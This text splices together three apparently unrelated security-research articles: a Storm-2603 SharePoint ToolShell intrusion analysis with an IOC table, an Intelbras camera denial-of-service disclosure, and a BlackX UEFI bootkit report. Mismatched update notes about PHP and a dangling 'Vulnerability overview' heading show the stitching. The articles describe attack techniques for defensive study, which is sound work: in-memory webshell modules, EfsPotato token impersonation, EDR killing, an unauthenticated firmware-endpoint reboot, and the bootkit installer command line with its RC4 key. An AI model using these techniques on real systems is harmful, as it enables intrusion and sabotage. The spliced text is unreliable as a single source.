Executive summary

In 2025, several threat actors exploited CVE-2025-53770 and CVE-2025-53771 (ToolShell vulnerabilities) in on-premises Microsoft SharePoint to achieve remote code execution through crafted HTTP requests. One of the threat actors deployed ransomware on the target’s systems after successful exploitation. Microsoft attributed this ransomware-related ToolShell activity to Storm-2603, distinguishing it from other actors whose observed activity was primarily focused on credential theft, espionage, and data exfiltration.

In December, our retrospective analysis identified activity consistent with Storm-2603’s TTPs. This activity involved the attacker using the IIS worker process as an in-memory bridge to the customer’s infrastructure, keeping the access and control layer entirely within w3wp.exe without writing anything to disk. Although subsequent post-exploitation activity generated disk artifacts, the bridge used to maintain access remained memory-resident.

Let’s look in more detail at this attack.

Intrusion timeline: Strategic latency and exploitation

The intrusion analyzed in this report occurred in two stages, with a temporal gap between initial access and subsequent exploitation activity. The attack timeline was as follows:

• Dec 20 – Vulnerability fingerprinting: A single HTTP request targeted a SharePoint administrative endpoint associated with the ToolPane component to determine whether the host was vulnerable to CVE-2025-53770.
• Dec 21-23 – Tactical latency: A three-day period of silence followed the initial probe, separating the vulnerability fingerprinting from subsequent malicious activity and potentially reducing the likelihood of immediate detection.
• Dec 24 – High-intensity re-engagement: On Christmas Eve, when security staffing at many companies is reduced, the full RCE chain was executed through the IIS worker process (w3wp.exe) on the same endpoint as the initial probe.
• Dec 26 – Incident discovery: The three-day gap initially prevented the December 20 probe from being correlated with subsequent malicious activity, marking the event as low priority. Retrospective analysis established that the probe was the initial phase of the subsequent intrusion.

Initial access validation phase

Vulnerability fingerprinting

A vulnerability fingerprinting request on December 20 marked the first observed interaction with the target. The request originated from infrastructure associated with ONYPHE, an internet-scale attack surface discovery and management platform for identifying exposed assets, vulnerabilities, and cyberthreats. Unlike widely used tools such as Shodan and Censys, which merely provide a list of internet-facing assets correlated with the open-source data about known vulnerabilities, ONYPHE actually checks if the target system is vulnerable.

The request characteristics were consistent with ONYPHE’s vulnerability checks, which use active, non-intrusive probes to identify internet-exposed systems vulnerable to specific CVEs. For ToolShell, ONYPHE adopted the approach used by Niels Hofmans (hazcod). Namely, it attempts to inject a harmless marker into the target server to find out if it is vulnerable.

This phase served as a validation step against the SharePoint execution surface exposed over HTTP:

• The target processed structured requests through the ASP.NET pipeline without rejection.
• The request path reached application logic capable of handling serialized input.
• No defensive controls interrupted or altered the execution flow at the application boundary.

Approximately 12 minutes later, a second inbound connection originated from infrastructure associated with Pfcloud UG, a provider operating under a bulletproof hosting (BPH) model. Given the timing and the IP’s documented history of scanning and abusive activity, the connection may represent follow-on reconnaissance against the newly identified target. No exploitation was attempted at this stage.

Active exploitation: Santa took your data and left a backdoor

The main malicious activity occurred on December 24. The actor targeted the same SharePoint host with a crafted request from 45.91.94.204 (45.91.92.0/22, ASN 63473, HostHatch, LLC). This resulted in a webshell execution within the IIS worker process (w3wp.exe). The payload was not written to disk; rather, it was loaded directly into the ASP.NET runtime and used during subsequent request processing. The implant remained resident for the lifetime of the affected application domain. This runtime state was lost when the application pool was recycled or IIS was restarted.

Attack originated from an SPN node

The IP address 45.91.94.204 is a Safing Privacy Network (SPN) node. SPN routes each connection through a multilayer VPN path with multiple relay nodes that can obscure the originating IP.

SPN promotes itself as a network that offers strong privacy protection for internet traffic. Its infrastructure resembles Tor’s in many ways, but with some differences. It features the following capabilities:

• Speed: Near-VPN performance for high-speed data transfer.
• Layer 3 support: Supports multiple protocols like TCP, UDP, ICMP (unlike Tor, which only supports TCP).
• App-routing: Direct tunneling without a browser.
• Multi-identity: Simultaneous exit nodes to bypass IP rate limits.
• Fixed-size packets and padding make it harder to analyze its traffic.

It is less common than Tor, and frequently bypasses standard Tor blocklists.

Webshell architecture

The webshell the attackers injected into the w3wp.exe runtime is a multi-module in-memory framework, where execution is orchestrated through the main component (G.cs) and extended via multiple functional units across namespaces.

The implementation follows a modular C# project structure in which each capability is isolated into its own compilation unit and invoked dynamically at runtime.

“G.cs” pipeline control and C2

Pipeline control

The main webshell component is G.cs. It orchestrates the implant’s execution context, lifecycle, C2 and session management.

To ensure persistence within the runtime, G.cs performs the following actions:

• Registers a custom VirtualPathProvider using the non-public RegisterVirtualPassProviderInternal method from the ASP.NET HostingEnvironment class so that ASP.NET uses it for virtual-path processing. The provider is automatically added to the chain of registered virtual path providers.
  
• Delegates the provider’s .NET Remoting lifetime policy to the previous provider in the chain, preserving the existing lifetime behavior.
  

Additionally, to evade defenses and enable the VirtualPathProvider to be registered even if the application in whose AppDomain the webshell is running is precompiled, the module implements the trust control subversion (T1553) technique:

• Uses reflection to check if the application is precompiled.
• Extracts pointers for internal state fields for the BuildManager class, which manages application compilation, and modifies them at runtime.
  
• Uses reflection once again to force runtime injection.

G.cs uses the GetCacheKey() function as the interception point for the virtual path processing flow. It processes incoming requests to the SharePoint server and checks their headers to filter out requests from the attacker.

The specific User-Agent in the request headers triggers the webshell execution. If the request doesn’t match this condition, the implant remains dormant, making its traffic harder to recognize.

Command and control layer (in-memory transport)

The same core module (G.cs) implements the communication layer.

Instead of relying on external frameworks or standard beacons, it uses a custom binary protocol with XOR-based obfuscation to exchange data with the C2. These communications blend into normal application traffic. The module uses the GetCacheKey() hook to intercept standard HTTP requests. When a specific User-Agent is detected in the request headers, the module parses it, extracts the payload, and establishes a TCP connection to a target host inside the target’s network if needed.

G.cs establishes a full-duplex proxy tunnel to support interactive control. It stores active target sockets in memory to pair concurrent HTTP read and write channels.

TCP connections from the C2 server to arbitrary hosts inside the target network are supported for pivoting and lateral movement. The traffic is proxied through the SharePoint host.

As can be seen in the screenshots, the attackers used the suo5 tool to implement traffic proxying. Its authors promote it as a stable forward-proxying tool for scenarios where outbound internet connections are prohibited.

To increase its performance, G.cs manipulates ThreadPool by raising its limits for concurrent operations and maximum timeout.

“Prog.cs”: Execution entry point and task dispatcher

Prog.cs is the entry point that receives command-line arguments and passes them to uk/London.cs. The latter acts as the orchestrator, handling command parsing and privilege escalation (via named pipe impersonation). We’ll review it in more detail later. If the “suo5” command is provided, London.cs triggers G.cs to hook into the ASP.NET runtime as a memory shell. Once active, G.cs independently processes incoming web traffic inside the web server memory.

Host interaction modules

The following modules provide direct system interaction capabilities, each implemented as a separate unit. London.cs triggers these modules when it receives a corresponding command from Prog.cs.

“FileDownloader.cs”

The FileDownloader.cs module downloads arbitrary files from external URLs provided by the C2. It stores the downloaded files in the Program Data directory without any user interaction.

“LoggedOnUsers.cs”

This module enumerates logged-on users and identifies their session types (interactive, service, remote). The results are stored in memory. The attackers can retrieve them using the proxy and tunneling capabilities provided by G.cs.

“ProcessList.cs”

This module lists running processes with full paths to the corresponding executables on the disk. The results are stored in memory and the attackers can retrieve them via G.cs.

“NetworkInfo.cs”

This module extracts information about existing network connections, including protocols, local and remote IPs and ports, and connection state. It also enumerates network interfaces and headers. The results are stored in memory and can be retrieved by the attackers via G.cs.

“MSI.cs”

This module silently installs and executes MSI packages previously downloaded by FileDownloader.cs.

“User.cs”

This module creates administrative accounts using the native SAM RPC subsystem (SAMRPCNative namespace) rather than standard command-line tooling. This may indicate an attempt to evade detection and provide the attackers with privileged stealthy access to target systems that persists after the webshell has finished its work.

SAMRPCNative

The SAMRPCNative namespace implements a low-level C# P/Invoke wrapper for the native Windows samlib.dll library, comprising three types: SAMStructs.cs, SAMMethods.cs, and SAMEnums.cs.

“SAMEnums.cs”

Implements structured bitwise lists and constant flags mapping numeric codes to their security meaning in SAM, and translates system status return codes.

“SAMStructs.cs”

Defines native data structures required for P/Invoke memory alignment and for marshalling. It securely formats and aligns data structures.

“SAMMethods.cs”

Contains external API declarations (P/Invoke) imported from samlib.dll to perform actions such as connecting to the SAM server, creating users and opening domains.

This layer is crucial for the attackers because it enables account operations.

Privilege escalation

The uk namespace contains offensive primitives for privilege escalation. To elevate privileges to SYSTEM, it uses a local token impersonation technique via the Encrypting File System Remote Protocol (EFSRPC) interface adopted from the EfsPotato tool.

This functionality is implemented in the uk/London class. It creates a malicious named pipe while the EfsrTiny class (a tiny version of the EfsPotato tool) connects to the LSASS.exe RPC server. Then it’s London.RpcThread function calls the EfsRpcEncryptFileSrv function from EfsrTiny with a crafted \\localhost path. This tricks LSASS.exe into connecting back to the attacker’s named pipe. Finally, the London.Exp function uses ImpersonateNamedPipeClient to coerce and impersonate the LSASS.exe token and spawn a new process via CreateProcessAsUser with SYSTEM privileges. As the webshell resides in the IIS worker process, it has the necessary SeImpersonatePrivilege to perform this technique.

The uk namespace also implements a minimal MSRPC client layer by explicitly defining structures such as RPC_CLIENT_INTERFACE and MIDL_STUB_DESC, thereby spoofing an interface stub. This enables direct interaction with the Windows RPC runtime (Rpcrt4.dll) without relying on MIDL-generated stubs or higher-level RPC abstractions. This provides direct control over binding and marshaling that goes beyond the constraints of standard client APIs.

Post-exploitation activity

Shortly after the webshell injection, the infected worker process spawned msiexec.exe to install a remote MSI payload hosted in Supabase cloud storage. The payload was Velociraptor, an open-source digital forensics and incident response tool – namely version 0.73.4.0 vulnerable to CVE-2025-6264 – that the attackers abused for command execution on the target network.

In October 2025, Cisco Talos reported Velociraptor being leveraged by threat actors as a post-compromise execution framework and attributed this activity to Storm-2603. This tool enables arbitrary command execution, and can be used for various purposes. In our case, it was used for persistence, discovery, data collection and payload execution.

The threat actor used Velociraptor to deploy multiple independent tunneling mechanisms, including Zoho Assist-Unattended Support for unauthorized remote access, VS Code CLI tunneling, Cloudflare Tunnel, and a lightweight reverse proxy utility. By doing so, they attempted to maintain access even if some of their tools were detected and deleted. At this stage, they also no longer depended on the IIS worker process lifecycle and ToolShell vulnerability.

EDR-killing attempts

Once the threat actor had access to the target system, they were able to upload a vulnerable driver that is used by many attackers to terminate EDR solutions. We were able to detect the main driver at C:\programdata\rsndispot.sys (054a32d6033b1744dca7f49b2e466ea2). In addition, the adversary used a malicious DLL (2d9ebf9c042f596f435865b40edad928) in a sideloading attack. This DLL was identified as Warlock ransomware’s AV killer. It was possibly intended to kill security solutions using the vulnerable rsndispot.sys driver.

Ransomware deployment attempt

The attackers made attempts to launch ransomware on the compromised system. However, the Proactive Defense Module in Kaspersky Endpoint Security blocked the ransomware process, effectively preventing this activity. The malware DLL we obtained was identified as Warlock ransomware.

What defenders really need to look for

ToolPane deserialization and CLR artifacts

When the attackers tried to access ToolPane, both the dynamically compiled App_Web_toolpane.aspx assembly and the Microsoft.GeneratedCode helper assembly were present within the same application domain.

Both assemblies are used in legitimate scenarios. App_Web_* assemblies are generated during normal ASP.NET page compilation, while Microsoft.GeneratedCode is typically produced by the XmlSerializer during legitimate serialization workflows. However, a request to the ToolPane endpoint that results in immediate loading of Microsoft.GeneratedCode within the same execution window indicates that the runtime is processing serialized data supplied through the request.

Detecting deserialization exploitation

First, it is highly recommended to read this article (in Russian) on how deserialization exploit attempts in the CLR should be detected, with examples of YARA rules and monitoring recommendations. A summary of the main idea of the detection logic is provided below.

Deserialization vulnerabilities should be treated as a distinct class of exploitation events. In the CLR, deserialization is not merely the conversion of bytes into values – it is the reconstruction of an object graph from an incoming stream. Serialization and deserialization are performed by formatters. One of the most widely used formatters is BinaryFormatter. It uses the NRBF format, which defines the stream as a sequence of records describing classes, arrays, primitives, and references between objects. The shape of the resulting graph is determined by the data supplied to the deserializer. This means that the input stream defines not only the values but also the specific types, relationships, and lifecycle points that the runtime must materialize.

Microsoft states explicitly that BinaryFormatter is unsafe and cannot be made safe; beginning with .NET 9, the in-box implementation is effectively removed from ordinary use. However, Microsoft continues to use it in its products, including SharePoint, because it is powerful and easy to use. To fix BinaryFormatter-related issues, architectural changes are needed. Similar warnings also apply to related unsafe mechanisms, including LosFormatter (used in the vulnerable page).

The primary risk of unsafe deserialization is that the CLR may resolve unexpected types, instantiate objects outside normal constructor invariants, and invoke special lifecycle mechanisms such as ISerializable, IObjectReference, IDeserializationCallback, and methods marked [OnDeserialized]. In other words, the attacker-controlled data can force the runtime to construct a graph containing types with executable side effects.

A practical detection strategy should therefore focus on graph-construction artifacts. CLR loader events identify the relevant assemblies and application domains. Memory and metadata inspection then reveal the type names and generated serializer structures associated with the suspected gadget chain. In ToolShell-like scenarios, unsafe deserialization usually produces helper assemblies (evidence in loader events) with metadata containing fully qualified type names, gadget class names, and string representations of the constructed generic types (just scan via YARA for it). In our case, the artifacts to look for include Microsoft.GeneratedCode, App_Web_toolpane.aspx* (evidence of deserialization in loader events) as well as strings identifying ObjectDataProvider, ExpandedWrapper, and LosFormatter (evidence that the input stream was deserialized into dangerous objects). Note that these indicators are not significant in isolation; their value lies in the fact that they show the runtime has already received data requiring helper code generation to reconstruct a dangerous object graph.

Gadget objects that exploit vulnerabilities like those associated with ToolShell are conveniently represented in corpus-style tooling such as ysoserial.net/YSoNet, which aggregate known gadget chains for unsafe .NET deserialization. For defensive purposes, the value of these projects lies not in their offensive capability but in the catalog of types and structures that can be searched for in streams, memory, and helper assemblies. The presence of any of them in memory or in a helper assembly should be treated as a strong indicator of exploitation.

To simplify deserialization exploit detection, we created a tool named CLRDeserializationExploitFinder. It can detect ToolShell exploitation attempts, as well as other gadget chains covered by ysoserial.net.

Detecting a VPP-based webshell/runtime implant

A mechanism based on VirtualPathProvider should be treated as a separate class of runtime implant (no files involved). In ASP.NET, HostingEnvironment.RegisterVirtualPathProvider registers a new virtual-path provider (VPP) in the application’s compilation system. Once registered, the application can serve virtual paths during dynamic compilation as though they were ordinary on-disk pages. Dynamic compilation does not require the payload to exist as a file in the filesystem. It operates entirely within the trust boundary of the application itself. During the compilation process, temporary files may be generated, but they cannot be treated as reliable forensic artifacts. Because VPPs can also be used for legitimate purposes, the defensive model should begin with an inventory of the legitimate VirtualPathProvider implementations. In all other cases, the registration or use of a new VPP should be considered anomalous.

To see how the dynamic generation of virtual pages using ASP.NET, IIS, and the CLR works, and to learn how to detect such activity, use our project VirtualPathProvider Lab.

The most useful telemetry source for this technique is the Microsoft-Windows-IIS-Configuration ETW provider. To detect virtual paths, events 25 and 47 are of primary value. Event 25 records the mapping of ConfigPath to PhysicalPath, and event 47 records the mapping of the configuration path to a directory. In the case of a VPP-backed path, these events create an inconsistency: IIS and ASP.NET behave as if the path has a physical representation, while the corresponding file does not exist on disk. In the example provided by VirtualPathProvider Lab, this appears as a mapping of the virtual resource googlecheck.aspx to a physical path where no real file is present. This discrepancy between configuration resolution and filesystem reality is the primary indicator of virtual content.

The second indicator is more negative than positive. For disk-backed files, IIS normally creates a FileChangeNotificationMonitor chain, as reflected in events 17, 18, 19, and 21. For virtual paths served by a custom VirtualPathProvider, this chain is absent or does not match the normal profile of an ordinary file because there is no physical object or corresponding on-disk change lifecycle. Consequently, the presence of positive events 25 and 47 combined with the absence of the expected events 17, 18, 19, and 21 for the same path forms a reliable detection pattern: the path exists for IIS as a configuration-resolved resource, yet it is not backed by the filesystem and is not accompanied by normal file-change monitoring.

To sum up, the hunting target here is the discrepancy between how IIS/ASP.NET resolves a resource and what is actually present on the disk and in the change-monitoring chain. For known applications, such cases can be filtered through an allowlist of legitimate VirtualPathProvider implementations. Anything else should be treated as a potential runtime implant and examined using ETW, filesystem verification, and memory inspection of the w3wp.exe process.

Attribution

Microsoft tracks Storm-2603 as a standalone threat actor with no known links to other groups. While they are careful about assessing the actor’s motivation, they mention that it has previously deployed Warlock and LockBit ransomware following active exploitation of on-premises SharePoint vulnerabilities. In the analyzed incident, we observed similar SharePoint exploitation activities, as well as an EDR killer associated with Warlock ransomware and unsuccessful Warlock launch attempts.

Other documented intrusions have identified Storm-2603 as leveraging known flaws within perimeter mail gateways to achieve initial access, subsequently staging the Velociraptor framework with elevated privileges and establishing persistent encrypted tunnels via commercial remote management software to orchestrate secondary lateral movement. This aligns with the post-exploitation behavior we observed in our case. Together with the ToolShell exploitation scenario, this allows us to attribute this case to Storm-2603 with moderate confidence.

Conclusion

From the incident analyzed in this article, the main defensive lesson is that exploiting an internet-facing SharePoint server can enable fileless code execution directly inside the application trust boundary. Storm-2603 did not require a conventional dropper, persistent service, or exposed C2 endpoint; instead, it deployed a webshell inside w3wp.exe, from which tunneling, privilege escalation, credential access, and lateral movement could be orchestrated. Detection therefore needs to move beyond file-based webshell hunting toward runtime behavior, such as anomalous w3wp.exe activity, unexpected outbound connections, RPC coercion, token impersonation, and the introduction of remote-management or DFIR tooling after application compromise.

To correctly attribute malicious activity and develop appropriate response measures, defenders should reconstruct execution chains and temporal relationships across application, host, and identity layers. They should also preserve memory and IIS telemetry, and correlate low-signal reconnaissance with subsequent privileged activity rather than evaluating events in isolation. A confirmed SharePoint exploit with code execution should trigger host-level containment, persistence hunting, credential and exposed MachineKey rotation, and TTP-driven investigation rather than remediation limited to the initial exploit or known IOCs.

Kaspersky products detect the threats mentioned in this article as:

• Trojan.MSIL.Agent.gen
• Trojan.Win64.DLLhijack.cdp

Indicator of compromise

Indicator of compromise	Description
45.91.94[.]204	SPN node
0xFD91321BF7FF7245DDA9B7B5D791ACE8	vskp2 – webshell implant
hxxps://vdfccjpnedujhrzscjtq[.]supabase[.]co/storage/v1/object/public/image/v4[.]msi	Vulnerable Velociraptor package
0x3A55D8F8F29716C694671834D8C6CB29	C:\ProgramFiles\Velociraptor\Velociraptor.exe
hxxps://auth[.]qgtxtebl[.]workers[.]dev/	Velociraptor server URL
199.232.210[.]172	C2 traffic relay
0x991EC6E04413F2D4D29341C17A8A54D5	Abused legitimate VS Code
0x3D553B9061C03F891CE97D7D2E64DDEE	VS Code Insiders for tunneling
91.224.92[.]121	Bulletproof-hosted C2 server
49.51.132[.]100	SPN node
hxxps://github[.]com/cloudflare/cloudflared/releases/latest/download/cloudflared-windows-amd64[.]msi	Abused legitimate tunneling tool
0x2C32E44A013CBFC5A323EFB7694701D2	Abused tunneling tool executable
hxxps://files[.]catbox[.]moe/8f7vex[.]msi	Abused Zoho Assist Unattended Agent download URL
0x112A86ECA3CB5A0B5E20AB744CC5AF93	7z.exe renamed for sideloading
0xA930F81E3FB0A226EC5904D9043A17B8	C:\ProgramFiles(x86)\ZohoMeeting\UnAttended\ZohoMeeting.7z
204.76.203[.]219	Bulletproof-hosted C2 server
0x054a32d6033b1744dca7f49b2e466ea2	Vulnerable driver

Background

Network-connected surveillance cameras are now widespread in both home and enterprise environments, so securing them is essential to safeguarding physical spaces and sensitive assets. As these devices continue to gain new features and network connectivity capabilities, vulnerabilities in their implementation can have significant security implications.

During our research, we discovered a denial-of-service vulnerability that affects Intelbras IP cameras systems. The flaw resides in a firmware update endpoint that is accessible without authentication and allows anyone with access to the local Wi-Fi network to knock cameras offline. A single request disrupts the camera for only about a minute, but sending periodic requests keeps the device offline indefinitely. We reported the issue to Intelbras, monitored the remediation process, validated the fix in the new firmware, and will now demonstrate the exploitation procedure step-by-step.

Following our notification, Intelbras patched the vulnerability and released updated firmware (R.260804) along with update instructions. A candidate ID of CAN-2026-2035970 has been assigned by MITRE following submission, pending the final CVE assignment. Additionally, the Intelbras team recently informed us that MITRE has classified the vulnerability as Medium, assigning it a score of 5.1 under the CVSS 4.0 framework. The issue discussed in this article is no longer present in the latest firmware version.

Firmware

Intelbras provides firmware files on its official website. While users can manually install these updates via an SD card, the cameras also natively support firmware upgrades over the local network via their web interface and mobile app. We obtained the firmware version v240927 for the iM3B-C (IM3 C) camera, which was the latest available version at the time of our research. According to Intelbras, the same firmware is also compatible with the iMX C, iM4 C, iM5 SC, iME 360 C, and iM7+ FC models. Below, we can view the firmware version and the camera model used as an example.

To provide context, we will explain how the camera’s authentication mechanism works and why it is relevant to accessing the camera’s endpoints. The main firmware component is an ARM binary named sonia, responsible for controlling the kernel drivers used by the camera hardware, authentication, and livestream recording, among other things.

How authentication works

The global.login RPC method handles authentication at the /RPC2_Login endpoint. First, the client, such as the mobile app or a custom script, sends the username and an empty password. The camera responds with an authentication challenge (a set of values to verify the password without transmitting it). This response returns a temporary session, the encryption type in the encryption field, a random value, and a realm (authentication scope). At this stage, a false response is normal and does not indicate a failed login, as the authentication process is not yet complete.

Next, the client calculates the response password from the authentication challenge. It first generates an MD5 (username:realm:original_password) hash as the base. It then calculates a second MD5 (username:random:first_md5) hash,  where first_md5 is the result of the previous step. To complete the authentication, the client sends this final result back to /RPC2_Login in a second global.login call, passing the username, calculated password, and temporary session ID.

If the login is accepted, the camera returns true and a new, authenticated session. This session must be used for all subsequent RPC calls, including the camera’s other endpoints, for example, the one that reboots the device or those that expose sensitive information.

Affected endpoint

The affected endpoint is the firmware upgrade route http://<ip_address>/firmwareUpgrade_service/Demo, which lacks authentication checks; furthermore, it fails to verify whether the firmware is actually valid before initiating the upgrade process. This creates a serious issue because the upgrade requires the camera to reboot, and that is precisely when the problem occurs: the camera enters reboot mode and eventually shuts down, appearing offline to the user and anyone who has the camera registered on their device.

PoC: vulnerability exploitation

Now that we have outlined how the vulnerability works, we will use a Python script on an iM3B-C camera to exploit it for demonstration purposes. The exploit contacts the camera’s endpoint to upload firmware. Below, we can see sonia creating the endpoint responsible for the firmware upgrade.

Next, the exploit will hit the endpoint and cause the camera to reboot. Consequently, mobile phones running the Intelbras app will lose connection with the registered device. Below, we can see the camera operating normally: the green light is on and the app is showing it is available for viewing.

After the exploit executes, we can see the effects: the camera goes offline and loses connection to the registered devices.

The exploit is quite simple: it sends an HTTP POST request with the firmware, which causes the camera to accept the request and initiate the reboot process. It does not matter whether the firmware is original; the reboot process will start regardless.

New firmware version

After we notified Intelbras about this flaw in the endpoint implementation, the company contacted the OEM vendor. As a result, a new firmware version was released that requires authentication to initiate an update through this endpoint.

Below, we can compare the new firmware, which validates cookies and session data, with the old firmware, which performed no authentication checks and proceeded directly to the update routine.

Real risk

An attacker can remotely trigger the camera firmware upgrade and reboot process without authenticating or supplying a valid firmware image. This may cause the device to go offline, which results in a denial-of-service condition preventing legitimate users from accessing live monitoring or managing the camera.

The potential impact is significant due to the number of affected users. The Intelbras Mibo Smart app, which the company provides to connect and manage the devices mentioned in this report, has over 4,000,000 downloads. Brazil represents the largest user base, followed by Paraguay, Ecuador, Colombia, Argentina, Chile, Peru, Bolivia, Uruguay, and Venezuela. As a result, exploitation of this issue affects a large number of users.

Takeaways

This is a medium-severity vulnerability that Intelbras is already aware of. The issue has been addressed in a newer firmware release (R.260804 along with update instructions), which mitigates this attack vector. Because the vulnerability directly affects the availability and normal operation of the affected cameras, it is highly recommended that users verify the firmware version currently installed on their devices and update to the latest available version as soon as possible. Keeping the firmware up to date is an essential security practice, especially for internet-connected surveillance devices, as outdated versions may remain exposed to known vulnerabilities.

Introduction

Back in October 2022, Kaspersky GReAT was looking into a peculiar advertisement on a hacking forum. A cybercriminal had been advertising a UEFI bootkit, dubbed BlackLotus, that could bypass Secure Boot, for $5,000. Given the low price for such powerful capabilities, the cybersecurity community initially took this advertisement with a grain of salt. As no BlackLotus samples were found in the wild, no one could at the time verify the claims made in the forum post.

However, about half a year later, in March 2023, ESET confirmed that the BlackLotus advertisement was genuine. The researchers tracked down samples of this bootkit and confirmed that it can indeed bypass Secure Boot through a vulnerability called Baton Drop (CVE-2022-21894). As this vulnerability was still exploitable in 2023, Microsoft had to release multiple security updates to address it.

Since the release of these updates, the BlackLotus bootkit has gone quiet — no publicly known attacks have used it. Yet in early 2026, we discovered a malware sample similar to BlackLotus that was used in an APT campaign in Central Asia. In this report, we share our findings, including new payloads and possible attribution of this campaign.

The return of the infamous bootkit

In early 2026 we identified a complex APT attack targeting diplomatic agencies in Central Asian countries — namely Tajikistan, Uzbekistan, and Turkmenistan. This attack involved a UEFI bootkit that we dubbed BlackX. Having examined it, we found it to be similar to BlackLotus.

Attackers have been deploying BlackX after compromising the victim machine networks and obtaining administrator privileges. To install the bootkit, we observed them dropping the following files:

• inst.exe, an installer executable
• PVMDIJGKAX2, an RC4-encrypted extensionless file containing files and strings required for the installation

The installer was launched with the command line C:\ProgramData\Intel\inst.exe PVMDIJGKAX2 Q46F6MDLI3RX2KV1. The last argument here is the RC4 key used for decryption.

Curiously, the file inst.exe does not contain any malicious strings or embedded blobs. All the files needed to install the malicious payload are inside PVMDIJGKAX2, which makes it harder for incident responders to retrieve the bootkit components.

The installer package drops a set of files to both system and UEFI partitions, designed to exploit the Baton Drop vulnerability. We noted that the implementation of the exploit is remarkably similar to the one used in the BlackLotus malware. As with BlackLotus, the goal of the exploit is to install custom Machine Owner Keys (MOK), which allows loading arbitrary EFI files on the target machines to manipulate Secure Boot.

While the vulnerability exploitation chain was implemented very similarly to BlackLotus, we spotted differences between the exploits in BlackLotus and BlackX. That said, the source code of the BlackLotus bootkit has never been published online. This could mean that the attackers behind BlackX either reverse-engineered the BlackLotus bootkit or purchased its source code from cybercriminals. Either way, this is an interesting observation, as we rarely see APT actors borrow ideas or code from cybercrime actors.

Payload launched by the bootkit

The UEFI payload delivered during the Baton Drop exploitation has a classic bootkit goal — to inject a malicious driver into the Windows kernel. This driver differs from the one deployed by BlackLotus and is signed with a certificate belonging to an organization named 温江区明宇网络技术服务工作室 (English: Wenjiang District Mingyu Network Technology Service Studio). At the time of writing, this certificate (serial number: 0bcdf5e0da32d68900b8b7638459d072) has been revoked by its issuer.

The driver aims to tamper with security solutions installed on the machine. For example, it disables process, thread, and registry callbacks related to security solutions. It also tampers with ETW providers so that security solutions cannot access their output. Curiously, some of the tampering procedures are designed to run only if Kaspersky or Avast solutions are installed on the infected machine. However, during dynamic analysis of this driver, we found that these procedures are useless — they fail to interfere with Kaspersky products in any way.

The driver also protects the bootkit’s files from tampering. It intercepts kernel requests to open these files and returns a handle to calc.exe instead of a malicious file handle.

User-mode second-stage payloads

Apart from tampering with security solutions, the driver also deploys a user-mode payload. We observed two such payloads, used for cyberespionage, in the wild. One of them is a RAT that can load further-stage .NET payloads. This RAT uses cloud storage for C2 server communications — we observed its versions using Google Drive, OneDrive, and Yandex.Disk. Having connected to a cloud storage service, this RAT iterates over files available there and interprets them depending on the file suffix. Below is a list of supported suffixes:

File suffix	Description	Type
0X01	A .NET file. The task is to parse it and run the method TEST.Class1.RunCMD(argument_array) from the module	Input
0X02	Result of the call TEST.Class1.RunCMD(argument_array)	Output
0X03	Task to upload a file to the drive	Input
0X04	Uploaded file	Output
0X05	Task to download a file to an infected machine	Input
0X06	File download status	Output
SSSR	Contains initial system info	Output

We also observed another payload delivered through the bootkit, which we dubbed OxiDLLRunner. It is a malicious DLL obfuscated with OLLVM. It is loaded by the legitimate file googleupdate.exe (original filename: jcef_helper.exe, MD5: AF8A983B9ADA07EAE1259BF2953ABD40), which is also delivered by the bootkit. The DLL decrypts the contents of the file v8_context_snapshot.bin, which resides in the same folder, and then jumps to the beginning of the decrypted content. The decrypted data starts with shellcode followed by a PE file, which is a Rust payload designed to communicate with the www[.]archivetj[.]com C2 server. During communication, this payload is supposed to receive DLL files exporting a function named create_plugin, which are then executed in separate threads.

Attribution

Based on the following facts, we have attributed this attack to the APT41 threat actor with medium confidence:

• In June 2026, ESET published a blog post on attacks by the FishMonger threat actor, which the community assumes to be related to APT41. This post describes a kernel implant with a PDB path starting with C:\Users\xdd\Desktop. While describing the campaign, the post also suggests the possible use of an unspecified UEFI bootkit component, which might exploit CVE‑2023‑24932. We observed the identifier “xdd” used multiple times in the BlackX bootkit payloads, so we assess that BlackX is the UEFI bootkit referenced in the ESET blog post;
• The payloads deployed by BlackX are loaded using a legitimate executable abused via DLL sideloading, and an encrypted file — this pattern is common among Chinese-speaking threat actors;
• The OxiDLLRunner file has been obfuscated with OLLVM, an obfuscator commonly used by Chinese-speaking actors.

Why did the target organizations get infected?

During our initial analysis of BlackX, we thought that attackers succeeded in deploying it due to the negligence of the target organizations. Baton Drop, the vulnerability used to deploy BlackX, was disclosed back in 2023 and was patched, so we first thought that the infected machines lacked the relevant updates. However, our investigation proved this wrong — the targeted machines were fully patched.

Instead, we found out that the problem was with the patch itself. As it turned out, the patch for the Baton Drop vulnerability is designed to revoke the “Windows Production PCA 2011” certificate used to sign vulnerable UEFI components. However, this revocation does not happen automatically upon patch installation — the user has to trigger it manually. This is done with the following steps:

• A registry flag is set inside HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Secureboot;
• A scheduled task named Secure-Boot-Update is created.

This patch is designed to be applied manually — for instance, applying it automatically could break dual-boot systems relying on the “Windows Production PCA 2011” certificate to load. At the same time, this patch deployment practice creates a problem — as it is extremely unusual for a system administrator to take extra steps after installing an update. Usually, when applying patches, system administrators take no further action unless an installation failure occurs. These instructions for activating the patch are buried deep on the Microsoft website, and we assess that they are quite hard for an average IT administrator to notice.

Curiously, Microsoft’s plan for deploying the Baton Drop patches mentions an “Enforcement Phase” that involves revoking the “Windows Production PCA 2011” certificate automatically, without user interaction. At the time of publishing this post, this stage has not been implemented. On October 19, 2026, this certificate expired, but this does not prevent the vulnerable binaries from loading unless the certificate is blocklisted.

It is likely that the threat actor behind this campaign took into account that few organizations realized the importance of manually activating the Baton Drop patch. As such, we believe they decided to invest time in understanding how BlackLotus works and creating a copycat of this bootkit.

Conclusion

Patch management is important for every organization, as updates from vendors help protect software and hardware against known vulnerabilities. However, sometimes installed patches fail to protect against the flaws they address. The BlackLotus story we described is not the only such example — for instance, in 2025 Microsoft released an update against the ToolShell vulnerability that also had to be applied manually.

However, modern security solutions are designed to account for such cases when installed patches fail to protect against security flaws for one reason or another. For instance, the Exploit Prevention component available in Kaspersky products prevents exploits from running if the patch is not applied, or if it is a zero-day vulnerability with no available patch. It is thus crucial to equip all machines in an organization with security solutions and constantly monitor the alerts they raise.

UPD 23.10.2026: added Kaspersky SIEM rules and events for developing custom detection rules or conducting threat hunting.

UPD 22.10.2026: added a description of how the Kaspersky Managed Detection and Response service detects the described malicious activity.

UPD 22.10.2026: added a description of how Kaspersky Vulnerability Management detects vulnerable versions of PHP.

Vulnerability overview

